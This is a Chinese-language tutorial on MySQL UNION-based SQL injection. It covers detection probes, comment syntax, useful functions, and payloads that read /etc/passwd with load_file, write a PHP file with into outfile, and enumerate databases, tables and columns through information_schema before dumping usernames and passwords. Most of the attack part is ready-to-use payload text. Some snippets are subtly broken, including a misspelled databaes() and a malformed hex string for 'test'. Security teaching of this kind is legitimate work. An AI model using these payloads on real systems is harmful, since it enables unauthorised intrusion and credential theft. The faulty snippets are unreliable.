sql注入-union select
什么是SQL注入
SQL注入(Sql Injection )
哪里存在SQL注入?
- GET
- POST
- HTTP頭部注入
- Cookie注入
任何客戶端可控,傳遞到服務器的變量,并且和數據庫進行交互,都有可能存在sql注入。
SQL注入的分類
- 整型注入
- 字符串類型注入
- UNION query SQL injection(可聯合查詢注入)
- Error-based SQL injection(報錯型注入)
- Boolean-based blind SQL injection(布爾型注入)
- Time-based blind SQL injection(基于時間延遲注入)
- Stacked queries SQL injection(可多語句查詢注入)
如何去判斷SQL注入漏洞
- and 1=1 / and 1=2 回顯頁面不同(整形判斷)
- 單引號判斷 ‘ 顯示數據庫錯誤信息或者頁面回顯不同(整形,字符串類型判斷)
- \ (轉義符)
- -1/+1 回顯下一個或上一個頁面(整型判斷)
- and sleep(5) (判斷頁面返回時間)
MySQL數據庫的特性
MySQL中3種注釋風格
-
# (url編碼為%23)
-
– (–后邊要跟上一個或多個空格 --+)
-
/* … */
-
/*! … */ 內聯注釋
select * /!22222from/ users;(注:22222低于數據庫版本號(5[0].7.20)就可顯示from)
MySQL函數利用
常用函數
- user()
- database()
- @@version
- session_user()
- @@basedir
- @@datadir
- @@version_compile_os
load_file( )函數 讀文件操作
前提
- 知道文件絕對路徑
- 能夠使用union查詢
- 對web目錄有寫權限
UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#
into outfile( )寫文件操作
前提
- 文件名必須全路徑(絕對路徑),
- 用戶必須有寫文件的權限
- 沒有對 ‘ 引號過濾
SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’
連接字符串函數
- concat(str1,str2)
- concat_ws(separator, str1,str2…)
- group_concat(str1,str2…)
MySQL中information_scheme庫
SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
MySQL中UNION規則
- UNION必須由兩條或兩條以上的SELECT語句組成,語句之間用關鍵字UNION分隔
- UNION中的每個查詢必須包含相同的列。
- UNION會從查詢結果集中自動去除了重復行。
- UNION query SQl injection
利用前提
頁面上有顯示位
優點:
方便、快捷、易于利用
缺點:
需要顯示位
步驟
判斷列數
order by 10
order by 20
order by 15
…
判斷顯示位
url?id=-1 union select 1,2,3,4,5
獲取當數據庫名稱和當前連接數據庫的用戶
url?id=-1 union select 1,2,databaes(),4,5
url?id=-1 union select 1,2,user(),4,5
列出所有數據庫
limit 一個一個打印出來庫名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部顯示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
列出(數據庫:test)中所有的表
limit 一個一個打印出來字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
limit 0,1
group_concat 一次性全部顯示
select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x674657374
注意:數據庫名稱可以用十六進制來代替字符串,這樣可以繞過單引號的限制。
列出(數據庫:test 表:admin )中所有的字段
limit 一個一個打印出來
select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
group_concat 一次性全部顯示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e
列出(數據庫:test 表:admin )中的數據
limit 一個一個打印出來
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin
network
總結
以上是生活随笔為你收集整理的sql注入-union select的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 解决kubectl get pods时
- 下一篇: sql注入-error、boolean、